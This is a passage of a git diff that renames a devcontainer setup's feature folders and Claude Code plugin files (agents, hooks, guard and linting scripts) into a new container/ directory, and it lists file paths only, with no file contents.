.devcontainer/features/notify-hook/README.md rename to container/.devcontainer/features/notify-hook/README.md diff --git a/.devcontainer/features/notify-hook/devcontainer-feature.json b/container/.devcontainer/features/notify-hook/devcontainer-feature.json similarity index 100% rename from .devcontainer/features/notify-hook/devcontainer-feature.json rename to container/.devcontainer/features/notify-hook/devcontainer-feature.json diff --git a/.devcontainer/features/notify-hook/install.sh b/container/.devcontainer/features/notify-hook/install.sh similarity index 100% rename from .devcontainer/features/notify-hook/install.sh rename to container/.devcontainer/features/notify-hook/install.sh diff --git a/.devcontainer/features/ruff/README.md b/container/.devcontainer/features/ruff/README.md similarity index 100% rename from .devcontainer/features/ruff/README.md rename to container/.devcontainer/features/ruff/README.md diff --git a/.devcontainer/features/ruff/devcontainer-feature.json b/container/.devcontainer/features/ruff/devcontainer-feature.json similarity index 100% rename from .devcontainer/features/ruff/devcontainer-feature.json rename to container/.devcontainer/features/ruff/devcontainer-feature.json diff --git a/.devcontainer/features/ruff/install.sh b/container/.devcontainer/features/ruff/install.sh similarity index 100% rename from .devcontainer/features/ruff/install.sh rename to container/.devcontainer/features/ruff/install.sh diff --git a/.devcontainer/features/shellcheck/README.md b/container/.devcontainer/features/shellcheck/README.md similarity index 100% rename from .devcontainer/features/shellcheck/README.md rename to container/.devcontainer/features/shellcheck/README.md diff --git a/.devcontainer/features/shellcheck/devcontainer-feature.json b/container/.devcontainer/features/shellcheck/devcontainer-feature.json similarity index 100% rename from .devcontainer/features/shellcheck/devcontainer-feature.json rename to container/.devcontainer/features/shellcheck/devcontainer-feature.json diff --git a/.devcontainer/features/shellcheck/install.sh b/container/.devcontainer/features/shellcheck/install.sh similarity index 100% rename from .devcontainer/features/shellcheck/install.sh rename to container/.devcontainer/features/shellcheck/install.sh diff --git a/.devcontainer/features/shfmt/README.md b/container/.devcontainer/features/shfmt/README.md similarity index 100% rename from .devcontainer/features/shfmt/README.md rename to container/.devcontainer/features/shfmt/README.md diff --git a/.devcontainer/features/shfmt/devcontainer-feature.json b/container/.devcontainer/features/shfmt/devcontainer-feature.json similarity index 100% rename from .devcontainer/features/shfmt/devcontainer-feature.json rename to container/.devcontainer/features/shfmt/devcontainer-feature.json diff --git a/.devcontainer/features/shfmt/install.sh b/container/.devcontainer/features/shfmt/install.sh similarity index 100% rename from .devcontainer/features/shfmt/install.sh rename to container/.devcontainer/features/shfmt/install.sh diff --git a/.devcontainer/features/tmux/README.md b/container/.devcontainer/features/tmux/README.md similarity index 100% rename from .devcontainer/features/tmux/README.md rename to container/.devcontainer/features/tmux/README.md diff --git a/.devcontainer/features/tmux/devcontainer-feature.json b/container/.devcontainer/features/tmux/devcontainer-feature.json similarity index 100% rename from .devcontainer/features/tmux/devcontainer-feature.json rename to container/.devcontainer/features/tmux/devcontainer-feature.json diff --git a/.devcontainer/features/tmux/install.sh b/container/.devcontainer/features/tmux/install.sh similarity index 100% rename from .devcontainer/features/tmux/install.sh rename to container/.devcontainer/features/tmux/install.sh diff --git a/.devcontainer/features/tree-sitter/README.md b/container/.devcontainer/features/tree-sitter/README.md similarity index 100% rename from .devcontainer/features/tree-sitter/README.md rename to container/.devcontainer/features/tree-sitter/README.md diff --git a/.devcontainer/features/tree-sitter/devcontainer-feature.json b/container/.devcontainer/features/tree-sitter/devcontainer-feature.json similarity index 100% rename from .devcontainer/features/tree-sitter/devcontainer-feature.json rename to container/.devcontainer/features/tree-sitter/devcontainer-feature.json diff --git a/.devcontainer/features/tree-sitter/install.sh b/container/.devcontainer/features/tree-sitter/install.sh similarity index 100% rename from .devcontainer/features/tree-sitter/install.sh rename to container/.devcontainer/features/tree-sitter/install.sh diff --git a/.devcontainer/plugins/devs-marketplace/.claude-plugin/marketplace.json b/container/.devcontainer/plugins/devs-marketplace/.claude-plugin/marketplace.json similarity index 100% rename from .devcontainer/plugins/devs-marketplace/.claude-plugin/marketplace.json rename to container/.devcontainer/plugins/devs-marketplace/.claude-plugin/marketplace.json diff --git a/.devcontainer/plugins/devs-marketplace/.gitignore b/container/.devcontainer/plugins/devs-marketplace/.gitignore similarity index 100% rename from .devcontainer/plugins/devs-marketplace/.gitignore rename to container/.devcontainer/plugins/devs-marketplace/.gitignore diff --git a/.devcontainer/plugins/devs-marketplace/plugins/agent-system/.claude-plugin/plugin.json b/container/.devcontainer/plugins/devs-marketplace/plugins/agent-system/.claude-plugin/plugin.json similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/agent-system/.claude-plugin/plugin.json rename to container/.devcontainer/plugins/devs-marketplace/plugins/agent-system/.claude-plugin/plugin.json diff --git a/.devcontainer/plugins/devs-marketplace/plugins/agent-system/AGENT-REDIRECTION.md b/container/.devcontainer/plugins/devs-marketplace/plugins/agent-system/AGENT-REDIRECTION.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/agent-system/AGENT-REDIRECTION.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/agent-system/AGENT-REDIRECTION.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/agent-system/README.md b/container/.devcontainer/plugins/devs-marketplace/plugins/agent-system/README.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/agent-system/README.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/agent-system/README.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/agent-system/REVIEW-RUBRIC.md b/container/.devcontainer/plugins/devs-marketplace/plugins/agent-system/REVIEW-RUBRIC.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/agent-system/REVIEW-RUBRIC.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/agent-system/REVIEW-RUBRIC.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/agent-system/agents/architect.md b/container/.devcontainer/plugins/devs-marketplace/plugins/agent-system/agents/architect.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/agent-system/agents/architect.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/agent-system/agents/architect.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/agent-system/agents/bash-exec.md b/container/.devcontainer/plugins/devs-marketplace/plugins/agent-system/agents/bash-exec.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/agent-system/agents/bash-exec.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/agent-system/agents/bash-exec.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/agent-system/agents/claude-guide.md b/container/.devcontainer/plugins/devs-marketplace/plugins/agent-system/agents/claude-guide.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/agent-system/agents/claude-guide.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/agent-system/agents/claude-guide.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/agent-system/agents/debug-logs.md b/container/.devcontainer/plugins/devs-marketplace/plugins/agent-system/agents/debug-logs.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/agent-system/agents/debug-logs.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/agent-system/agents/debug-logs.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/agent-system/agents/dependency-analyst.md b/container/.devcontainer/plugins/devs-marketplace/plugins/agent-system/agents/dependency-analyst.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/agent-system/agents/dependency-analyst.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/agent-system/agents/dependency-analyst.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/agent-system/agents/documenter.md b/container/.devcontainer/plugins/devs-marketplace/plugins/agent-system/agents/documenter.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/agent-system/agents/documenter.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/agent-system/agents/documenter.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/agent-system/agents/explorer.md b/container/.devcontainer/plugins/devs-marketplace/plugins/agent-system/agents/explorer.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/agent-system/agents/explorer.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/agent-system/agents/explorer.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/agent-system/agents/generalist.md b/container/.devcontainer/plugins/devs-marketplace/plugins/agent-system/agents/generalist.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/agent-system/agents/generalist.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/agent-system/agents/generalist.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/agent-system/agents/git-archaeologist.md b/container/.devcontainer/plugins/devs-marketplace/plugins/agent-system/agents/git-archaeologist.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/agent-system/agents/git-archaeologist.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/agent-system/agents/git-archaeologist.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/agent-system/agents/implementer.md b/container/.devcontainer/plugins/devs-marketplace/plugins/agent-system/agents/implementer.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/agent-system/agents/implementer.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/agent-system/agents/implementer.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/agent-system/agents/investigator.md b/container/.devcontainer/plugins/devs-marketplace/plugins/agent-system/agents/investigator.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/agent-system/agents/investigator.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/agent-system/agents/investigator.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/agent-system/agents/migrator.md b/container/.devcontainer/plugins/devs-marketplace/plugins/agent-system/agents/migrator.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/agent-system/agents/migrator.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/agent-system/agents/migrator.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/agent-system/agents/perf-profiler.md b/container/.devcontainer/plugins/devs-marketplace/plugins/agent-system/agents/perf-profiler.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/agent-system/agents/perf-profiler.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/agent-system/agents/perf-profiler.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/agent-system/agents/refactorer.md b/container/.devcontainer/plugins/devs-marketplace/plugins/agent-system/agents/refactorer.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/agent-system/agents/refactorer.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/agent-system/agents/refactorer.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/agent-system/agents/researcher.md b/container/.devcontainer/plugins/devs-marketplace/plugins/agent-system/agents/researcher.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/agent-system/agents/researcher.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/agent-system/agents/researcher.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/agent-system/agents/security-auditor.md b/container/.devcontainer/plugins/devs-marketplace/plugins/agent-system/agents/security-auditor.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/agent-system/agents/security-auditor.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/agent-system/agents/security-auditor.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/agent-system/agents/spec-writer.md b/container/.devcontainer/plugins/devs-marketplace/plugins/agent-system/agents/spec-writer.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/agent-system/agents/spec-writer.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/agent-system/agents/spec-writer.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/agent-system/agents/statusline-config.md b/container/.devcontainer/plugins/devs-marketplace/plugins/agent-system/agents/statusline-config.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/agent-system/agents/statusline-config.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/agent-system/agents/statusline-config.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/agent-system/agents/test-writer.md b/container/.devcontainer/plugins/devs-marketplace/plugins/agent-system/agents/test-writer.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/agent-system/agents/test-writer.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/agent-system/agents/test-writer.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/agent-system/hooks/hooks.json b/container/.devcontainer/plugins/devs-marketplace/plugins/agent-system/hooks/hooks.json similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/agent-system/hooks/hooks.json rename to container/.devcontainer/plugins/devs-marketplace/plugins/agent-system/hooks/hooks.json diff --git a/.devcontainer/plugins/devs-marketplace/plugins/agent-system/scripts/guard-readonly-bash.py b/container/.devcontainer/plugins/devs-marketplace/plugins/agent-system/scripts/guard-readonly-bash.py similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/agent-system/scripts/guard-readonly-bash.py rename to container/.devcontainer/plugins/devs-marketplace/plugins/agent-system/scripts/guard-readonly-bash.py diff --git a/.devcontainer/plugins/devs-marketplace/plugins/agent-system/scripts/inject-cwd.py b/container/.devcontainer/plugins/devs-marketplace/plugins/agent-system/scripts/inject-cwd.py similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/agent-system/scripts/inject-cwd.py rename to container/.devcontainer/plugins/devs-marketplace/plugins/agent-system/scripts/inject-cwd.py diff --git a/.devcontainer/plugins/devs-marketplace/plugins/agent-system/scripts/redirect-builtin-agents.py b/container/.devcontainer/plugins/devs-marketplace/plugins/agent-system/scripts/redirect-builtin-agents.py similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/agent-system/scripts/redirect-builtin-agents.py rename to container/.devcontainer/plugins/devs-marketplace/plugins/agent-system/scripts/redirect-builtin-agents.py diff --git a/.devcontainer/plugins/devs-marketplace/plugins/agent-system/scripts/task-completed-check.py b/container/.devcontainer/plugins/devs-marketplace/plugins/agent-system/scripts/task-completed-check.py similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/agent-system/scripts/task-completed-check.py rename to container/.devcontainer/plugins/devs-marketplace/plugins/agent-system/scripts/task-completed-check.py diff --git a/.devcontainer/plugins/devs-marketplace/plugins/agent-system/scripts/teammate-idle-check.py b/container/.devcontainer/plugins/devs-marketplace/plugins/agent-system/scripts/teammate-idle-check.py similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/agent-system/scripts/teammate-idle-check.py rename to container/.devcontainer/plugins/devs-marketplace/plugins/agent-system/scripts/teammate-idle-check.py diff --git a/.devcontainer/plugins/devs-marketplace/plugins/agent-system/scripts/verify-no-regression.py b/container/.devcontainer/plugins/devs-marketplace/plugins/agent-system/scripts/verify-no-regression.py similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/agent-system/scripts/verify-no-regression.py rename to container/.devcontainer/plugins/devs-marketplace/plugins/agent-system/scripts/verify-no-regression.py diff --git a/.devcontainer/plugins/devs-marketplace/plugins/agent-system/scripts/verify-tests-pass.py b/container/.devcontainer/plugins/devs-marketplace/plugins/agent-system/scripts/verify-tests-pass.py similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/agent-system/scripts/verify-tests-pass.py rename to container/.devcontainer/plugins/devs-marketplace/plugins/agent-system/scripts/verify-tests-pass.py diff --git a/.devcontainer/plugins/devs-marketplace/plugins/agent-system/skills/debug/SKILL.md b/container/.devcontainer/plugins/devs-marketplace/plugins/agent-system/skills/debug/SKILL.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/agent-system/skills/debug/SKILL.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/agent-system/skills/debug/SKILL.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/auto-code-quality/.claude-plugin/plugin.json b/container/.devcontainer/plugins/devs-marketplace/plugins/auto-code-quality/.claude-plugin/plugin.json similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/auto-code-quality/.claude-plugin/plugin.json rename to container/.devcontainer/plugins/devs-marketplace/plugins/auto-code-quality/.claude-plugin/plugin.json diff --git a/.devcontainer/plugins/devs-marketplace/plugins/auto-code-quality/README.md b/container/.devcontainer/plugins/devs-marketplace/plugins/auto-code-quality/README.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/auto-code-quality/README.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/auto-code-quality/README.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/auto-code-quality/hooks/hooks.json b/container/.devcontainer/plugins/devs-marketplace/plugins/auto-code-quality/hooks/hooks.json similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/auto-code-quality/hooks/hooks.json rename to container/.devcontainer/plugins/devs-marketplace/plugins/auto-code-quality/hooks/hooks.json diff --git a/.devcontainer/plugins/devs-marketplace/plugins/auto-code-quality/scripts/advisory-test-runner.py b/container/.devcontainer/plugins/devs-marketplace/plugins/auto-code-quality/scripts/advisory-test-runner.py similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/auto-code-quality/scripts/advisory-test-runner.py rename to container/.devcontainer/plugins/devs-marketplace/plugins/auto-code-quality/scripts/advisory-test-runner.py diff --git a/.devcontainer/plugins/devs-marketplace/plugins/auto-code-quality/scripts/collect-edited-files.py b/container/.devcontainer/plugins/devs-marketplace/plugins/auto-code-quality/scripts/collect-edited-files.py similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/auto-code-quality/scripts/collect-edited-files.py rename to container/.devcontainer/plugins/devs-marketplace/plugins/auto-code-quality/scripts/collect-edited-files.py diff --git a/.devcontainer/plugins/devs-marketplace/plugins/auto-code-quality/scripts/format-on-stop.py b/container/.devcontainer/plugins/devs-marketplace/plugins/auto-code-quality/scripts/format-on-stop.py similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/auto-code-quality/scripts/format-on-stop.py rename to container/.devcontainer/plugins/devs-marketplace/plugins/auto-code-quality/scripts/format-on-stop.py diff --git a/.devcontainer/plugins/devs-marketplace/plugins/auto-code-quality/scripts/lint-file.py b/container/.devcontainer/plugins/devs-marketplace/plugins/auto-code-quality/scripts/lint-file.py similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/auto-code-quality/scripts/lint-file.py rename to container/.devcontainer/plugins/devs-marketplace/plugins/auto-code-quality/scripts/lint-file.py diff --git a/.devcontainer/plugins/devs-marketplace/plugins/auto-code-quality/scripts/syntax-validator.py b/container/.devcontainer/plugins/devs-marketplace/plugins/auto-code-quality/scripts/syntax-validator.py similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/auto-code-quality/scripts/syntax-validator.py rename to container/.devcontainer/plugins/devs-marketplace/plugins/auto-code-quality/scripts/syntax-validator.py diff --git a/.devcontainer/plugins/devs-marketplace/plugins/codeforge-lsp/.claude-plugin/plugin.json b/container/.devcontainer/plugins/devs-marketplace/plugins/codeforge-lsp/.claude-plugin/plugin.json similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/codeforge-lsp/.claude-plugin/plugin.json rename to container/.devcontainer/plugins/devs-marketplace/plugins/codeforge-lsp/.claude-plugin/plugin.json diff --git a/.devcontainer/plugins/devs-marketplace/plugins/codeforge-lsp/README.md b/container/.devcontainer/plugins/devs-marketplace/plugins/codeforge-lsp/README.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/codeforge-lsp/README.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/codeforge-lsp/README.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/dangerous-command-blocker/.claude-plugin/plugin.json b/container/.devcontainer/plugins/devs-marketplace/plugins/dangerous-command-blocker/.claude-plugin/plugin.json similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/dangerous-command-blocker/.claude-plugin/plugin.json rename to container/.devcontainer/plugins/devs-marketplace/plugins/dangerous-command-blocker/.claude-plugin/plugin.json diff --git a/.devcontainer/plugins/devs-marketplace/plugins/dangerous-command-blocker/README.md b/container/.devcontainer/plugins/devs-marketplace/plugins/dangerous-command-blocker/README.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/dangerous-command-blocker/README.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/dangerous-command-blocker/README.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/dangerous-command-blocker/hooks/hooks.json b/container/.devcontainer/plugins/devs-marketplace/plugins/dangerous-command-blocker/hooks/hooks.json similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/dangerous-command-blocker/hooks/hooks.json rename to container/.devcontainer/plugins/devs-marketplace/plugins/dangerous-command-blocker/hooks/hooks.json diff --git a/.devcontainer/plugins/devs-marketplace/plugins/dangerous-command-blocker/scripts/block-dangerous.py b/container/.devcontainer/plugins/devs-marketplace/plugins/dangerous-command-blocker/scripts/block-dangerous.py similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/dangerous-command-blocker/scripts/block-dangerous.py rename to container/.devcontainer/plugins/devs-marketplace/plugins/dangerous-command-blocker/scripts/block-dangerous.py diff --git a/.devcontainer/plugins/devs-marketplace/plugins/git-workflow/.claude-plugin/plugin.json b/container/.devcontainer/plugins/devs-marketplace/plugins/git-workflow/.claude-plugin/plugin.json similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/git-workflow/.claude-plugin/plugin.json rename to container/.devcontainer/plugins/devs-marketplace/plugins/git-workflow/.claude-plugin/plugin.json diff --git a/.devcontainer/plugins/devs-marketplace/plugins/git-workflow/README.md b/container/.devcontainer/plugins/devs-marketplace/plugins/git-workflow/README.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/git-workflow/README.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/git-workflow/README.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/git-workflow/skills/pr-review/SKILL.md b/container/.devcontainer/plugins/devs-marketplace/plugins/git-workflow/skills/pr-review/SKILL.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/git-workflow/skills/pr-review/SKILL.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/git-workflow/skills/pr-review/SKILL.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/git-workflow/skills/ship/SKILL.md b/container/.devcontainer/plugins/devs-marketplace/plugins/git-workflow/skills/ship/SKILL.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/git-workflow/skills/ship/SKILL.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/git-workflow/skills/ship/SKILL.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/notify-hook/.claude-plugin/plugin.json b/container/.devcontainer/plugins/devs-marketplace/plugins/notify-hook/.claude-plugin/plugin.json similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/notify-hook/.claude-plugin/plugin.json rename to container/.devcontainer/plugins/devs-marketplace/plugins/notify-hook/.claude-plugin/plugin.json diff --git a/.devcontainer/plugins/devs-marketplace/plugins/notify-hook/README.md b/container/.devcontainer/plugins/devs-marketplace/plugins/notify-hook/README.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/notify-hook/README.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/notify-hook/README.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/notify-hook/hooks/hooks.json b/container/.devcontainer/plugins/devs-marketplace/plugins/notify-hook/hooks/hooks.json similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/notify-hook/hooks/hooks.json rename to container/.devcontainer/plugins/devs-marketplace/plugins/notify-hook/hooks/hooks.json diff --git a/.devcontainer/plugins/devs-marketplace/plugins/prompt-snippets/.claude-plugin/plugin.json b/container/.devcontainer/plugins/devs-marketplace/plugins/prompt-snippets/.claude-plugin/plugin.json similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/prompt-snippets/.claude-plugin/plugin.json rename to container/.devcontainer/plugins/devs-marketplace/plugins/prompt-snippets/.claude-plugin/plugin.json diff --git a/.devcontainer/plugins/devs-marketplace/plugins/prompt-snippets/README.md b/container/.devcontainer/plugins/devs-marketplace/plugins/prompt-snippets/README.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/prompt-snippets/README.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/prompt-snippets/README.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/prompt-snippets/skills/ps/SKILL.md b/container/.devcontainer/plugins/devs-marketplace/plugins/prompt-snippets/skills/ps/SKILL.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/prompt-snippets/skills/ps/SKILL.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/prompt-snippets/skills/ps/SKILL.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/protected-files-guard/.claude-plugin/plugin.json b/container/.devcontainer/plugins/devs-marketplace/plugins/protected-files-guard/.claude-plugin/plugin.json similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/protected-files-guard/.claude-plugin/plugin.json rename to container/.devcontainer/plugins/devs-marketplace/plugins/protected-files-guard/.claude-plugin/plugin.json diff --git a/.devcontainer/plugins/devs-marketplace/plugins/protected-files-guard/README.md b/container/.devcontainer/plugins/devs-marketplace/plugins/protected-files-guard/README.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/protected-files-guard/README.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/protected-files-guard/README.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/protected-files-guard/hooks/hooks.json b/container/.devcontainer/plugins/devs-marketplace/plugins/protected-files-guard/hooks/hooks.json similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/protected-files-guard/hooks/hooks.json rename to container/.devcontainer/plugins/devs-marketplace/plugins/protected-files-guard/hooks/hooks.json diff --git a/.devcontainer/plugins/devs-marketplace/plugins/protected-files-guard/scripts/guard-protected-bash.py b/container/.devcontainer/plugins/devs-marketplace/plugins/protected-files-guard/scripts/guard-protected-bash.py similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/protected-files-guard/scripts/guard-protected-bash.py rename to container/.devcontainer/plugins/devs-marketplace/plugins/protected-files-guard/scripts/guard-protected-bash.py diff --git a/.devcontainer/plugins/devs-marketplace/plugins/protected-files-guard/scripts/guard-protected.py b/container/.devcontainer/plugins/devs-marketplace/plugins/protected-files-guard/scripts/guard-protected.py similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/protected-files-guard/scripts/guard-protected.py rename to container/.devcontainer/plugins/devs-marketplace/plugins/protected-files-guard/scripts/guard-protected.py diff --git a/.devcontainer/plugins/devs-marketplace/plugins/session-context/.claude-plugin/plugin.json b/container/.devcontainer/plugins/devs-marketplace/plugins/session-context/.claude-plugin/plugin.json similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/session-context/.claude-plugin/plugin.json rename to container/.devcontainer/plugins/devs-marketplace/plugins/session-context/.claude-plugin/plugin.json diff --git a/.devcontainer/plugins/devs-marketplace/plugins/session-context/README.md b/container/.devcontainer/plugins/devs-marketplace/plugins/session-context/README.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/session-context/README.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/session-context/README.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/session-context/hooks/hooks.json b/container/.devcontainer/plugins/devs-marketplace/plugins/session-context/hooks/hooks.json similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/session-context/hooks/hooks.json rename to container/.devcontainer/plugins/devs-marketplace/plugins/session-context/hooks/hooks.json diff --git a/.devcontainer/plugins/devs-marketplace/plugins/session-context/scripts/collect-session-edits.py b/container/.devcontainer/plugins/devs-marketplace/plugins/session-context/scripts/collect-session-edits.py similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/session-context/scripts/collect-session-edits.py rename to container/.devcontainer/plugins/devs-marketplace/plugins/session-context/scripts/collect-session-edits.py diff --git a/.devcontainer/plugins/devs-marketplace/plugins/session-context/scripts/commit-reminder.py b/container/.devcontainer/plugins/devs-marketplace/plugins/session-context/scripts/commit-reminder.py similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/session-context/scripts/commit-reminder.py rename to container/.devcontainer/plugins/devs-marketplace/plugins/session-context/scripts/commit-reminder.py diff --git a/.devcontainer/plugins/devs-marketplace/plugins/session-context/scripts/git-state-injector.py b/container/.devcontainer/plugins/devs-marketplace/plugins/session-context/scripts/git-state-injector.py similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/session-context/scripts/git-state-injector.py rename to container/.devcontainer/plugins/devs-marketplace/plugins/session-context/scripts/git-state-injector.py diff --git a/.devcontainer/plugins/devs-marketplace/plugins/session-context/scripts/todo-harvester.py b/container/.devcontainer/plugins/devs-marketplace/plugins/session-context/scripts/todo-harvester.py similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/session-context/scripts/todo-harvester.py rename to container/.devcontainer/plugins/devs-marketplace/plugins/session-context/scripts/todo-harvester.py diff --git a/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/.claude-plugin/plugin.json b/container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/.claude-plugin/plugin.json similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/skill-engine/.claude-plugin/plugin.json rename to container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/.claude-plugin/plugin.json diff --git a/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/README.md b/container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/README.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/skill-engine/README.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/README.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/hooks/hooks.json b/container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/hooks/hooks.json similarity index 100% rename from 